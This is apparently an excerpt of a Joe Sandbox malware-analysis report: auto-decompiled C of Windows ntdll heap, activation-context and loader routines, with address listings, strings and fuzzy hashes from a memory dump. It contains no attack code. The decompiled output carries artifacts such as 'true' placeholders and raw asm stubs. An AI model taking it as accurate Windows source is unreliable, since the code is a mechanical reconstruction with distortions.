				if(_v556 != _t131) {
					 *_v556 =  *_v556 & _t131;
					_t147 = _t131;
				}
				if(_v564 != _t131) {
					 *_v564 =  *_v564 & _t142;
					_t131 = _t142;
				}
				if((_v540 & 0xfffffffc) != 0 || _t141 == 0 || _v560 == _t142 || _v556 == _t142) {
					_push(_v556);
					_push(_v560);
					_push(_t141);
					_push(_v540);
					E34D0EF10(0x33, 0, "SXS: %s() bad parameters:\nSXS:    Flags                : 0x%lx\nSXS:    Peb                  : %p\nSXS:    ActivationContextData: %p\nSXS:    AssemblyStorageMap   : %p\n", "RtlpGetActivationContextDataStorageMapAndRosterHeader");
					_t148 = 0xc000000d;
					goto L37;
				} else {
					if(_t96 != 0) {
						if(_t96 == 0xfffffffc) {
							L24:
							_t57 = _t141 + 0x200; // 0x230
							_t131 = _t57;
							_t104 =  *_t131;
							_t58 = _t141 + 0x204; // 0x234
							_t147 = _t58;
							_v536 = _t131;
							_v544 = _t147;
							if(_t104 == 0) {
								L33:
								_t105 =  *_t147;
								L34:
								_t141 = _v556;
								 *_v556 = _t105;
								 *_v560 =  *_t131;
								_t107 = _v564;
								if(_t107 != 0) {
									 *_t107 = _t142;
								}
								_t148 = 0;
								L37:
								if(_t128 != 0 && _t128 !=  &_v532) {
									L34C93B90( &_v552);
								}
								goto L39;
							}
							_t142 =  *((intOrPtr*)(_t104 + 0x18)) + _t104;
							L26:
							_t141 = 0;
							if( *_t131 != 0 &&  *_t147 == 0) {
								_t108 =  *(_t142 + 8);
								if( *(_t142 + 8) > 0x3ffffffc) {
									_t148 = 0xc0000095;
									goto L37;
								}
								_t111 = E34C95D90(_t131,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0xc + _t108 * 4);
								_t129 = _t111;
								if(_t111 == 0) {
									_t148 = 0xc0000017;
									L51:
									_t128 = _v548;
									goto L37;
								}
								_t141 =  *(_t142 + 8);
								_t113 = E34CB33D0(_t129,  *(_t142 + 8), _t129 + 0xc);
								_t148 = _t113;
								if(_t113 < 0) {
									L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t129);
									goto L51;
								}
								_t147 = _v544;
								asm("lock cmpxchg [esi], ecx");
								if(0 != 0) {
									E34C79303(_t129);
									L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t129);
								}
								_t131 = _v536;
								_t128 = _v548;
							}
							goto L33;
						}
						if((_v540 & 0x00000003) != 0) {
							goto L12;
						}
						_t131 = _t96 + 0x10;
						_t141 =  *_t131;
						if(_t141 == 0) {
							_t148 = 0xc00000e5;
							goto L39;
						}
						_t142 =  *((intOrPtr*)(_t141 + 0x18)) + _t141;
						_t105 = _t96 + 0x5c;
						goto L34;
					}
					L12:
					if(_t96 == 0xfffffffc || (_v540 & 0x00000002) != 0) {
						goto L24;
					} else {
						if(_t96 != 0) {
							if((_v540 & 0x00000001) == 0) {
								goto L26;
							}
						}
						_t31 = _t141 + 0x1f8; // 0x228
						_t131 = _t31;
						_t119 =  *_t131;
						_t32 = _t141 + 0x1fc; // 0x22c
						_t147 = _t32;
						_v536 = _t131;
						_v544 = _t147;
						if(_t119 == 0) {
							goto L33;
						}
						_t142 =  *((intOrPtr*)(_t119 + 0x18)) + _t119;
						_v568 = _t142;
						if( *_t147 != 0) {
							goto L26;
						}
						_t120 =  *((intOrPtr*)(_t141 + 0x10));
						_t141 = 0x208;
						_t139 =  *(_t120 + 0x38);
						_t142 =  *(_t120 + 0x3c);
						_t149 = _t139 & 0x0000ffff;
						_v540 = _t139;
						_t41 = _t149 + 0xe; // 0x23a
						_t121 = _t41;
						if(_t121 > 0x208) {
							if(_t121 <= 0xfffe) {
								_v550 = _t139 + 0xe;
								_t128 = E34C95D60(_t139 + 0x0000000e & 0x0000ffff);
								_v548 = _t128;
								if(_t128 != 0) {
									L19:
									E34CC88C0(_t128, _t142, _t149);
									_t131 = _v536;
									_v552 = _v540 + 0xc;
									asm("movsd");
									asm("movsd");
									asm("movsd");
									asm("movsw");
									_t142 = _v568;
									_t147 = _v544;
									goto L26;
								}
								_t148 = 0xc0000017;
								goto L39;
							}
							_t148 = 0xc0000106;
							goto L39;
						}
						_t128 =  &_v532;
						_v550 = 0x208;
						_v548 = _t128;
						goto L19;
					}
				}
			}

0x34cb265c
0x34cb266e
0x34cb2675
0x34cb267b
0x34cb2685
0x34cb268b
0x34cb2691
0x34cb2697
0x34cb269b
0x34cb26a1
0x34cb26a8
0x34cb26aa
0x34cb26b3
0x34cb26b4
0x34cb26bb
0x34cb26be
0x34cb26c4
0x34cb26ca
0x34cb26d5
0x34cf1ff1
0x34cf1ff9
0x34cb2906
0x34cb2916
0x34cb2916
0x34cb26e1
0x34cb26e9
0x34cb26eb
0x34cb26eb
0x34cb26f3
0x34cb26fb
0x34cb26fd
0x34cb26fd
0x34cb2705
0x34cb270d
0x34cb270f
0x34cb270f
0x34cb271b
0x34cf20a8
0x34cf20ae
0x34cf20b4
0x34cf20b5
0x34cf20c9
0x34cf20d1
0x00000000
0x34cb2741
0x34cb2743
0x34cb2813
0x34cb283c
0x34cb283c
0x34cb283c
0x34cb2842
0x34cb2844
0x34cb2844
0x34cb284a
0x34cb2850
0x34cb2858
0x34cb28d2
0x34cb28d2
0x34cb28d4
0x34cb28d4
0x34cb28da
0x34cb28e4
0x34cb28e6
0x34cb28ee
0x34cb28f0
0x34cb28f0
0x34cb28f2
0x34cb28f4
0x34cb28f6
0x34cf20e2
0x34cf20e2
0x00000000
0x34cb28f6
0x34cb285d
0x34cb285f
0x34cb285f
0x34cb2863
0x34cb2869
0x34cb2871
0x34cf205d
0x00000000
0x34cf205d
0x34cb2889
0x34cb288e
0x34cb2892
0x34cf2067
0x34cf2080
0x34cf2080
0x00000000
0x34cf2080
0x34cb2898
0x34cb28a1
0x34cb28a6
0x34cb28aa
0x34cf207b
0x00000000
0x34cf207b
0x34cb28b0
0x34cb28ba
0x34cb28c0
0x34cf208d
0x34cf209e
0x34cf209e
0x34cb28c6
0x34cb28cc
0x34cb28cc
0x00000000
0x34cb2863
0x34cb281c
0x00000000
0x00000000
0x34cb2822
0x34cb2825
0x34cb2829
0x34cf2003
0x00000000
0x34cf2003
0x34cb2832
0x34cb2834
0x00000000
0x34cb2834
0x34cb2749
0x34cb274c
0x00000000
0x34cb275f
0x34cb2761
0x34cf2014
0x00000000
0x00000000
0x34cf201a
0x34cb2767
0x34cb2767
0x34cb276d
0x34cb276f
0x34cb276f
0x34cb2775
0x34cb277b
0x34cb2783
0x00000000
0x00000000
0x34cb278c
0x34cb2791
0x34cb2797
0x00000000
0x00000000
0x34cb279d
0x34cb27a0
0x34cb27a5
0x34cb27a8
0x34cb27ab
0x34cb27ae
0x34cb27b4
0x34cb27b4
0x34cb27b9
0x34cf2024
0x34cf2033
0x34cf2043
0x34cf2045
0x34cf204d
0x34cb27d2
0x34cb27d5
0x34cb27e8
0x34cb27ee
0x34cb27fd
0x34cb27fe
0x34cb27ff
0x34cb2800
0x34cb2802
0x34cb2808
0x00000000
0x34cb2808
0x34cf2053
0x00000000
0x34cf2053
0x34cf2026
0x00000000
0x34cf2026
0x34cb27bf
0x34cb27c5
0x34cb27cc
0x00000000
0x34cb27cc
0x34cb274c

Strings

SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 34CF20C0
SXS: %s() passed the empty activation context, xrefs: 34CF1FE8
.Local, xrefs: 34CB27F8
RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 34CF1FE3, 34CF20BB

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
API String ID: 0-1239276146
Opcode ID: 4cba18124a30e8687632906d0279893505fb43457afb467c6063657cf7470a00
Instruction ID: b1ee94a111cc49922e4062b26f29a82eacfca5a21b1c4d0ec6085716257c8ee6
Opcode Fuzzy Hash: 4cba18124a30e8687632906d0279893505fb43457afb467c6063657cf7470a00
Instruction Fuzzy Hash: 35A19E76A013299BDF20CF54DC88B99B3B6BF58354F1405EAD888EB251D7369E81CF90

Uniqueness

Uniqueness Score: -1.00%

Function 34C7F5C7 Relevance: 5.2, Strings: 4, Instructions: 188
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E34C7F5C7(void* __ecx, void* __edx) {
				char _v36;
				char _v40;
				void* _v44;
				void* _v48;
				void* _v60;
				void* _v64;
				void* _v72;
				void* _v76;
				void* __ebx;
				intOrPtr _t63;
				void* _t66;
				signed int _t73;
				void* _t77;
				void* _t78;
				signed char* _t81;
				intOrPtr _t82;
				signed char* _t87;
				intOrPtr _t88;
				void* _t89;
				signed char* _t92;
				signed char _t98;
				void* _t110;
				void* _t136;
				signed int _t138;
				void* _t140;

				_t140 = (_t138 & 0xfffffff8) - 0x24;
				_t110 = __edx;
				_t136 = __ecx;
				E34C7F858(__edx,  &_v36,  &_v40);
				if(E34CB68EA( *((intOrPtr*)(_t136 + 0x1f8)) -  *((intOrPtr*)(_t136 + 0x244)), _t136, _t136 + 0xd4) == 0) {
					_t128 = 0xc000012d;
					L17:
					_t63 =  *[fs:0x30];
					 *((intOrPtr*)(_t136 + 0x228)) =  *((intOrPtr*)(_t136 + 0x228)) + 1;
					__eflags =  *(_t63 + 0xc);
					if( *(_t63 + 0xc) == 0) {
						_push("HEAP: ");
						E34C7B910();
					} else {
						E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_v40);
					_push(_v36);
					_push(_t136);
					E34C7B910("ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t128);
					_t66 = 0;
					L15:
					return _t66;
				}
				if(( *(_t136 + 0x40) & 0x00040000) != 0) {
					_push("true");
					_pop(_t130);
					_push(0);
					_push("true");
					_push(_t140 + 0x1c);
					_push(3);
					_push(_t136);
					_push(0xffffffff);
					_t73 = L34CC2BE0();
					__eflags = _t73;
					if(_t73 < 0) {
						L22:
						E34D45FED(0, _t136, 1,  *((intOrPtr*)(_t140 + 0x20)), 0, 0);
						goto L2;
					}
					__eflags =  *(_t140 + 0x18) & 0x00000060;
					if(( *(_t140 + 0x18) & 0x00000060) == 0) {
						goto L22;
					}
					__eflags =  *((intOrPtr*)(_t140 + 0x14)) - _t136;
					if( *((intOrPtr*)(_t140 + 0x14)) == _t136) {
						L3:
						_push(0x1000);
						_push( &_v40);
						_push(0);
						_push( &_v36);
						_push(0xffffffff);
						_t77 = E34CC2B10();
						_t128 = _t77;
						if(_t77 < 0) {
							goto L17;
						}
						_t78 = E34C93C40();
						_t131 = 0x7ffe0380;
						if(_t78 != 0) {
							_t81 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						} else {
							_t81 = 0x7ffe0380;
						}
						if( *_t81 != 0) {
							_t82 =  *[fs:0x30];
							__eflags =  *(_t82 + 0x240) & 0x00000001;
							if(( *(_t82 + 0x240) & 0x00000001) != 0) {
								E34D3EFD3(_t110, _t136, _v36, _v40, "true");
							}
						}
						 *((intOrPtr*)(_t136 + 0x240)) =  *((intOrPtr*)(_t136 + 0x240)) - 1;
						 *((intOrPtr*)(_t136 + 0x244)) =  *((intOrPtr*)(_t136 + 0x244)) - _v40;
						if(E34C93C40() != 0) {
							_t87 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						} else {
							_t87 = _t131;
						}
						if( *_t87 != 0) {
							_t88 =  *[fs:0x30];
							__eflags =  *(_t88 + 0x240) & 0x00000001;
							if(( *(_t88 + 0x240) & 0x00000001) != 0) {
								__eflags = E34C93C40();
								if(__eflags != 0) {
									_t131 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
									__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								}
								E34D3F1C3(_t110, _t136, _v36, __eflags, _v40,  *(_t136 + 0x74) << 3,  *_t131 & 0x000000ff);
							}
						}
						_t89 = E34C93C40();
						_t132 = 0x7ffe038a;
						if(_t89 != 0) {
							_t92 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
						} else {
							_t92 = 0x7ffe038a;
						}
						if( *_t92 != 0) {
							__eflags = E34C93C40();
							if(__eflags != 0) {
								_t132 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
								__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							}
							E34D3F1C3(_t110, _t136, _v36, __eflags, _v40,  *(_t136 + 0x74) << 3,  *_t132 & 0x000000ff);
						}
						 *((intOrPtr*)(_t136 + 0x21c)) =  *((intOrPtr*)(_t136 + 0x21c)) + 1;
						_t98 =  *(_t110 + 2);
						if((_t98 & 0x00000004) != 0) {
							E34CD8140(_v36, _v40, 0xfeeefeee);
							_t98 =  *(_t110 + 2);
						}
						 *(_t110 + 2) = _t98 & 0x00000017;
						_t66 = 1;
						goto L15;
					}
					goto L22;
				}
				L2:
				_push("true");
				_pop(_t130);
				goto L3;
			}

0x34c7f5cf
0x34c7f5d9
0x34c7f5e0
0x34c7f5e3
0x34c7f607
0x34cde162
0x34cde167
0x34cde167
0x34cde16d
0x34cde173
0x34cde177
0x34cde2dd
0x34cde2e2
0x34cde17d
0x34cde192
0x34cde197
0x34cde2e8
0x34cde2ec
0x34cde2f0
0x34cde2f7
0x34cde2ff
0x34c7f6ba
0x34c7f6c0
0x34c7f6c0
0x34c7f614
0x34cde19d
0x34cde19f
0x34cde1a0
0x34cde1a2
0x34cde1a8
0x34cde1a9
0x34cde1ab
0x34cde1ac
0x34cde1ae
0x34cde1b3
0x34cde1b5
0x34cde1c8
0x34cde1d6
0x00000000
0x34cde1d6
0x34cde1b7
0x34cde1bc
0x00000000
0x00000000
0x34cde1be
0x34cde1c2
0x34c7f61d
0x34c7f61e
0x34c7f627
0x34c7f628
0x34c7f62e
0x34c7f62f
0x34c7f631
0x34c7f636
0x34c7f63a
0x00000000
0x00000000
0x34c7f640
0x34c7f645
0x34c7f64c
0x34cde1e9
0x34c7f652
0x34c7f652
0x34c7f652
0x34c7f657
0x34cde1f3
0x34cde1f9
0x34cde200
0x34cde212
0x34cde212
0x34cde200
0x34c7f661
0x34c7f667
0x34c7f674
0x34cde225
0x34c7f67a
0x34c7f67a
0x34c7f67a
0x34c7f67f
0x34cde22f
0x34cde235
0x34cde23c
0x34cde247
0x34cde249
0x34cde254
0x34cde254
0x34cde254
0x34cde26f
0x34cde26f
0x34cde23c
0x34c7f685
0x34c7f68a
0x34c7f691
0x34cde282
0x34c7f697
0x34c7f697
0x34c7f697
0x34c7f69c
0x34cde291
0x34cde293
0x34cde29e
0x34cde29e
0x34cde29e
0x34cde2b9
0x34cde2b9
0x34c7f6a2
0x34c7f6a8
0x34c7f6ad
0x34cde2d0
0x34cde2d5
0x34cde2d5
0x34c7f6b5
0x34c7f6b8
0x00000000
0x34c7f6b8
0x00000000
0x34cde1c2
0x34c7f61a
0x34c7f61a
0x34c7f61c
0x00000000

Strings

ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 34CDE2F2
HEAP[%wZ]: , xrefs: 34CDE18D
HEAP: , xrefs: 34CDE2DD
`, xrefs: 34CDE1B7

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: InitializeThunk
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 2994545307-2586055223
Opcode ID: a6489a1c219bda3f25ec71c0fddc1dc16c66399b97ecf56c873f8e5a4b9c0e25
Instruction ID: 994ac8edbacf18d26451a935563becfcbc59dc9324eb606bdf7e68587e5fe7ae
Opcode Fuzzy Hash: a6489a1c219bda3f25ec71c0fddc1dc16c66399b97ecf56c873f8e5a4b9c0e25
Instruction Fuzzy Hash: AC61D375204B40AFE311CB65C884F67BBEAEF89790F040569EA64CB2A1DB34D900CB61

Uniqueness

Uniqueness Score: -1.00%

Function 34C790F8 Relevance: 5.1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 34CDB82F, 34CDB86C
HEAP: , xrefs: 34CDB83C, 34CDB879
VirtualQuery Failed 0x%p %x, xrefs: 34CDB886
VirtualProtect Failed 0x%p %x, xrefs: 34CDB849

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: InitializeThunk
String ID: HEAP: $HEAP[%wZ]: $VirtualProtect Failed 0x%p %x$VirtualQuery Failed 0x%p %x
API String ID: 2994545307-1391187441
Opcode ID: b84c4ec12ccaf6166b62a7e1c745f8bbceb5db8cf8ade3d101c398af1c6a88af
Instruction ID: c611a2214257059d171f1035cce4d189890d6624d077f42706d628e5ecc8229d
Opcode Fuzzy Hash: b84c4ec12ccaf6166b62a7e1c745f8bbceb5db8cf8ade3d101c398af1c6a88af
Instruction Fuzzy Hash: 1431D43AA00608EFE701DB55DC84F9EBBBAEF457A0F1440A5E515A7292E730D940CE60

Uniqueness

Uniqueness Score: -1.00%

Function 34C87072 Relevance: 4.7, APIs: 3, Instructions: 158
timeCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E34C87072(intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				intOrPtr _v0;
				signed int _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				intOrPtr _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t51;
				signed int _t55;
				signed int* _t58;
				intOrPtr _t82;
				void* _t86;
				signed int _t87;
				signed int _t88;
				signed int _t92;
				signed int _t106;
				void* _t112;
				intOrPtr _t113;

				_t112 = __edx;
				_v24 = __ecx;
				_v20 = 0;
				_v16 = 0;
				_t113 =  *((intOrPtr*)(__edx + 0x58));
				if(_t113 != 0) {
					_push( &_v16);
					_push(0);
					_push(0);
					E34CB85E0(_t86, __edx, __edx, _t113, __eflags);
				}
				_t87 = _t112 + 0x8c;
				_t92 =  *_t87;
				do {
					_t106 = _t92;
					_t51 = _t92 >> 1;
					if(_t51 == 0) {
						_v12 = _v12 & 0x00000000;
						_v8 = _v8 & 0x00000000;
					} else {
						_v12 = 1;
						_v8 = 1;
						if((_t92 & 0x00000001 | _t51 * 0x00000002 - 0x00000002) < 2) {
							_v8 = _v8 & 0x00000000;
						}
					}
					asm("lock cmpxchg [ebx], ecx");
					_t92 = _t106;
				} while (_t92 != _t106);
				_t88 = _t87 | 0xffffffff;
				if(_t113 != 0) {
					__eflags = _v12;
					if(__eflags != 0) {
						__eflags = E34CA2120(_t88, _t92, 0, _t113);
						if(__eflags >= 0) {
							_t82 = _v24;
							_t33 = _t82 + 0x50;
							 *_t33 =  *(_t82 + 0x50) | 0x00000100;
							__eflags =  *_t33;
							 *((intOrPtr*)(_t82 + 0x64)) = _t113;
						} else {
							_v12 = _v12 & 0x00000000;
							_v8 = _v8 & 0x00000000;
							_v20 = 1;
						}
					}
					_push(_v16);
					_push(0);
					E34CBA6D0(_t88, _t112, _t113, __eflags);
					__eflags = _v20;
					if(_v20 != 0) {
						L34CADB40(_t112 + 0x20, _t88, 0);
						E34D54600(_t112);
					}
				}
				if(_v8 != 0) {
					_push(2);
					asm("lock xadd [edi], eax");
					_t55 = E34C93C40();
					__eflags = _t55;
					if(_t55 != 0) {
						_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t58 = 0x7ffe0386;
					}
					__eflags =  *_t58;
					if( *_t58 != 0) {
						L34D54BE0( *((intOrPtr*)(_t112 + 0x5c)), _t112 + 0x78,  *((intOrPtr*)(_t112 + 0x30)),  *((intOrPtr*)(_t112 + 0x34)),  *((intOrPtr*)(_t112 + 0x3c)));
					}
					E34C91C8F(_t88, _t112 + 0x78,  *((intOrPtr*)(_t112 + 0x5c)), _t112,  *((intOrPtr*)(_t112 + 0x74)), 0);
					asm("lock xadd [edi], eax");
					if(__eflags == 0) {
						 *0x34d791e0(_t112);
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t112 + 4))))))();
					}
				}
				if(_a4 != 0) {
					__eflags = E34C81F36(0);
					if(__eflags != 0) {
						 *((intOrPtr*)(_t112 + 0x70)) = _v0;
						asm("lock xadd [edi], eax");
						if(__eflags == 0) {
							 *0x34d791e0(_t112);
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t112 + 4))))))();
						}
					}
				}
				if(_v12 != 0) {
					E34C87007(_v24, _t112);
					return 1;
				}
				asm("lock xadd [edi], ebx");
				__eflags = _t88 == 1;
				if(_t88 == 1) {
					 *0x34d791e0(_t112);
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t112 + 4))))))();
				}
				return 0;
			}

0x34c8707d
0x34c8707f
0x34c87084
0x34c87087
0x34c8708a
0x34c8708f
0x34ce1534
0x34ce1535
0x34ce1536
0x34ce1537
0x34ce1537
0x34c87095
0x34c8709b
0x34c8709d
0x34c8709f
0x34c870a1
0x34c870a3
0x34ce1541
0x34ce1545
0x34c870a9
0x34c870b0
0x34c870bf
0x34c870c5
0x34c870c7
0x34c870cb
0x34c870c5
0x34c870cf
0x34c870d3
0x34c870d5
0x34c870d9
0x34c870de
0x34ce1551
0x34ce1555
0x34ce155f
0x34ce1561
0x34ce1574
0x34ce1577
0x34ce1577
0x34ce1577
0x34ce157e
0x34ce1563
0x34ce1563
0x34ce1567
0x34ce156b
0x34ce156b
0x34ce1561
0x34ce1581
0x34ce1584
0x34ce1586
0x34ce158b
0x34ce158f
0x34ce159c
0x34ce15a2
0x34ce15a2
0x34ce158f
0x34c870e8
0x34c8710e
0x34c87111
0x34c87115
0x34c8711a
0x34c8711c
0x34ce15b5
0x34c87122
0x34c87122
0x34c87122
0x34c87129
0x34c8712b
0x34ce15ce
0x34ce15ce
0x34c8713c
0x34c87143
0x34c87147
0x34ce15e0
0x34ce15e6
0x34ce15e6
0x34c87147
0x34c870ee
0x34c87157
0x34c87159
0x34c8715e
0x34c87163
0x34c87167
0x34ce15f5
0x34ce15fb
0x34ce15fb
0x34c87167
0x34c87159
0x34c870f4
0x34c870ff
0x00000000
0x34c87106
0x34ce1602
0x34ce1606
0x34ce1607
0x34ce1611
0x34ce1617
0x34ce1617
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 34CE15E0
RtlDebugPrintTimes.NTDLL ref: 34CE15F5

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: d83c0d92653725f73964555937faf926c0883c8f256a3205baf26958404ad242
Instruction ID: f0df6157ef972ec43ab4bda1d6cd7cc60871a065d3d9c1f8169fbb70408ba805
Opcode Fuzzy Hash: d83c0d92653725f73964555937faf926c0883c8f256a3205baf26958404ad242
Instruction Fuzzy Hash: 02511F35A01625EFEB04CFA5C8447AEF7B6FF4435AF14416AE402D7290EF749961CB80

Uniqueness

Uniqueness Score: -1.00%

Function 34D13608 Relevance: 4.1, Strings: 3, Instructions: 398
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E34D13608(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				short _t140;
				short _t141;
				signed char* _t146;
				char* _t147;
				signed char* _t149;
				intOrPtr _t150;
				signed short _t167;
				intOrPtr _t185;
				signed int _t193;
				intOrPtr _t201;
				void* _t204;
				void* _t205;
				signed char* _t206;
				signed char* _t213;
				intOrPtr _t216;
				signed int _t217;
				intOrPtr* _t218;
				signed int _t220;
				short _t223;
				signed short _t230;
				char* _t232;
				intOrPtr* _t235;
				void* _t239;
				void* _t258;
				intOrPtr _t266;
				intOrPtr _t267;
				intOrPtr _t269;
				char* _t271;
				char* _t274;
				signed int _t275;
				void* _t279;
				void* _t280;

				_push(0x45c);
				_push(0x34d5cf20);
				E34CD7C40(__ebx, __edi, __esi);
				 *(_t280 - 0x430) = __edx;
				_t266 = __ecx;
				 *((intOrPtr*)(_t280 - 0x428)) = __ecx;
				 *((intOrPtr*)(_t280 - 0x440)) =  *((intOrPtr*)(_t280 + 8));
				 *((intOrPtr*)(_t280 - 0x450)) =  *((intOrPtr*)(_t280 + 0x10));
				 *((intOrPtr*)(_t280 - 0x44c)) =  *((intOrPtr*)(_t280 + 0x14));
				 *((intOrPtr*)(_t280 - 0x444)) =  *((intOrPtr*)(_t280 + 0x18));
				 *((intOrPtr*)(_t280 - 0x434)) =  *((intOrPtr*)(_t280 + 0x1c));
				_t223 = 0x42;
				 *((short*)(_t280 - 0x43c)) = _t223;
				_push("true");
				_pop(_t140);
				 *((short*)(_t280 - 0x43a)) = _t140;
				 *(_t280 - 0x438) = L"LdrpResSearchResourceHandle Enter";
				_push("true");
				_pop(_t141);
				 *((short*)(_t280 - 0x464)) = _t141;
				 *((short*)(_t280 - 0x462)) = _t223;
				 *(_t280 - 0x460) = L"LdrpResSearchResourceHandle Exit";
				_t271 = 0;
				E34CC8F40(_t280 - 0xc8, 0, _t141 + 0x6c);
				if(E34C93C40() == 0) {
					_t146 = 0x7ffe0385;
				} else {
					_t146 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
				}
				if(( *_t146 & 0x00000001) == 0) {
					_t213 = 0x7ffe0384;
				} else {
					_t205 = E34C93C40();
					_t213 = 0x7ffe0384;
					if(_t205 == 0) {
						_t206 = 0x7ffe0384;
					} else {
						_t206 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					E34D0FC01(_t280 - 0x43c,  *_t206 & 0x000000ff);
				}
				if(_t266 == 0 || _t266 == 0xffffffff) {
					_t267 = 0xc000000d;
					goto L16;
				} else {
					 *(_t280 - 0x42c) =  *(_t280 - 0x430) & 0x00001000;
					_t150 = E34D1314A(_t266, _t280 - 0x45c);
					if(_t150 >= 0 ||  *(_t280 - 0x42c) == _t271) {
						_t150 = E34D13592(_t266, _t280 - 0x210, "true");
						if(_t150 >= 0) {
							if( *((intOrPtr*)(_t280 - 0x210)) == 0x5a4d) {
								_t269 =  *((intOrPtr*)(_t280 - 0x1d4));
								if( *(_t280 - 0x42c) == _t271) {
									L22:
									_t150 = E34D13592( *((intOrPtr*)(_t280 - 0x428)), _t280 - 0x1d0, "true");
									if(_t150 >= 0) {
										if( *((intOrPtr*)(_t280 - 0x1d0)) != 0x4550) {
											goto L15;
										} else {
											if( *((intOrPtr*)(_t280 - 0x1b8)) != 0x10b) {
												if( *((intOrPtr*)(_t280 - 0x1b8)) != 0x20b ||  *((intOrPtr*)(_t280 - 0x1cc)) != 0x200 &&  *((intOrPtr*)(_t280 - 0x1cc)) != 0x8664) {
													goto L15;
												} else {
													if( *((intOrPtr*)(_t280 - 0x14c)) <= 2 ||  *((intOrPtr*)(_t280 - 0x134)) == _t271) {
														goto L30;
													} else {
														_t230 =  *((intOrPtr*)(_t280 - 0x1bc));
														if(_t230 == 0 || _t230 < 0x88) {
															goto L15;
														} else {
															_t216 =  *((intOrPtr*)(_t280 - 0x138));
															goto L43;
														}
													}
												}
											} else {
												_t201 =  *((intOrPtr*)(_t280 - 0x1cc));
												if(_t201 == 0x14c || _t201 == 0x1c0 || _t201 == 0x1c2 || _t201 == 0x1c4) {
													if( *((intOrPtr*)(_t280 - 0x15c)) > 2) {
														if( *((intOrPtr*)(_t280 - 0x144)) == _t271) {
															goto L30;
														} else {
															_t230 =  *((intOrPtr*)(_t280 - 0x1bc));
															if(_t230 == 0 || _t230 < 0x78) {
																goto L15;
															} else {
																_t216 =  *((intOrPtr*)(_t280 - 0x148));
																L43:
																if(_t216 != 0) {
																	_t167 =  *(_t280 - 0x1ca);
																	if(_t167 != 0) {
																		_t273 = (_t167 & 0x0000ffff) * 0x28;
																		if((_t230 & 0x0000ffff) + 0x18 + (_t167 & 0x0000ffff) * 0x28 + _t269 <=  *((intOrPtr*)(_t280 - 0x45c))) {
